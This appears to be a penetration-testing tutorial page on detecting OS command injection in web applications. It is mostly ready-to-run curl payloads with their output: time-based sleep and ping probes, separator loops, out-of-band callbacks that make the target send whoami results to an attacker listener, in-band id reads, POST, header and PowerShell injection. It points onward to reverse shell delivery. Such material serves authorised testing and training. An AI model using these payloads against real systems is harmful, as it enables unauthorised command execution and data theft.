Skip to content

Command Injection Detection

4 min read Created Mar 28, 2026 Last updated Apr 24, 2026

Command injection detection confirms whether user input reaches an OS command execution context. Target parameters that pass values to system commands: ping, host, nslookup, convert, zip, curl, and similar utility calls. These often appear in network diagnostic tools, file converters, image processors, and search features. Confirmed injection moves to command injection bypasses and then reverse shell delivery.

Detection methods from most reliable to most visible:

  • Time-based: inject sleep commands and measure response delay
  • Out-of-band: trigger a callback to your listener to confirm blind execution
  • In-band: read command output directly reflected in the HTTP response
  • POST and header injection: test filenames, form fields, and headers like X-Forwarded-For

Time-Based Command Injection Detection

Sleep-based probes are the safest way to confirm command injection without reading output. A delay matching the sleep value confirms execution:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bsleep+5"
real    0m5.132s

Test all common command separators: different systems and filter configurations accept different ones:

┌──(kali㉿kali)-[~]
└─$ for sep in '%3B' '%7C' '%26%26' '%0A' '%60' '$('; do echo -n "sep $sep: "; { time curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1${sep}sleep+3" -o /dev/null; } 2>&1 | grep real; done
sep %3B: real 0m3.12s
sep %7C: real 0m0.08s

Separator reference: %3B is ;, %7C is |, %26%26 is &&, %0A is a newline, %60 is a backtick. The separator that causes a delay is the one that works: use it for all subsequent payloads.

Out-of-Band Detection

When the response does not change regardless of input, use an out-of-band callback to confirm execution. The target connects back to your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bcurl+http://$LHOST:$LPORT/cmdi-test"
GET /cmdi-test HTTP/1.1
Host: 10.10.14.5:4444

An incoming request on your listener confirms blind command injection: the target executed curl and connected to you. Also useful for confirming what user the command runs as by including whoami output in the callback URL:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1%3Bcurl+http://$LHOST:$LPORT/\$(whoami)"
GET /www-data HTTP/1.1

In-Band Detection

When the application reflects command output, simple injection without encoding is enough to confirm:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/ping.php?host=127.0.0.1;id" | grep -iE 'uid|root|www-data'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

POST Parameter and Header Testing

Command injection also appears in POST parameters, filenames, and HTTP headers processed by the application:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/convert -d 'filename=test.pdf;sleep+5' && echo 'delayed'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/ -H 'X-Forwarded-For: 127.0.0.1;sleep 5' && echo 'delayed'

Windows Command Injection

When the target runs on Windows, Linux sleep and curl payloads will not work. Use Windows-native commands for detection. The same separator approach applies: test &, |, &&, ||, and newline (%0A).

Time-Based (Windows)

timeout and ping create measurable delays on Windows. ping -n 5 sends 5 ICMP packets with 1-second intervals, producing a roughly 4-second delay:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/diag.aspx?host=127.0.0.1|ping+-n+5+127.0.0.1"
real    0m4.312s
┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/diag.aspx?host=127.0.0.1%26timeout+/T+5"
real    0m5.087s

Environment Variable Probing

Windows environment variables confirm the OS when output is reflected. %COMSPEC% resolves to C:\WINDOWS\system32\cmd.exe on Windows and stays literal on Linux:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/diag.aspx?host=127.0.0.1|echo+%25COMSPEC%25"
C:\WINDOWS\system32\cmd.exe
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/diag.aspx?host=127.0.0.1|echo+%25OS%25"
Windows_NT

PowerShell Injection Patterns

Applications calling PowerShell directly accept PowerShell-native payloads. Use Start-Sleep for time-based and Invoke-WebRequest for out-of-band detection:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/run.aspx?cmd=127.0.0.1;Start-Sleep+-Seconds+5"
real    0m5.201s
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/run.aspx?cmd=127.0.0.1;Invoke-WebRequest+http://$LHOST:$LPORT/ps-cmdi"

A hit on your listener from the Invoke-WebRequest payload confirms blind PowerShell injection. If direct PowerShell execution is blocked, try wrapping with powershell -c "..." or powershell -enc with a base64-encoded command.

References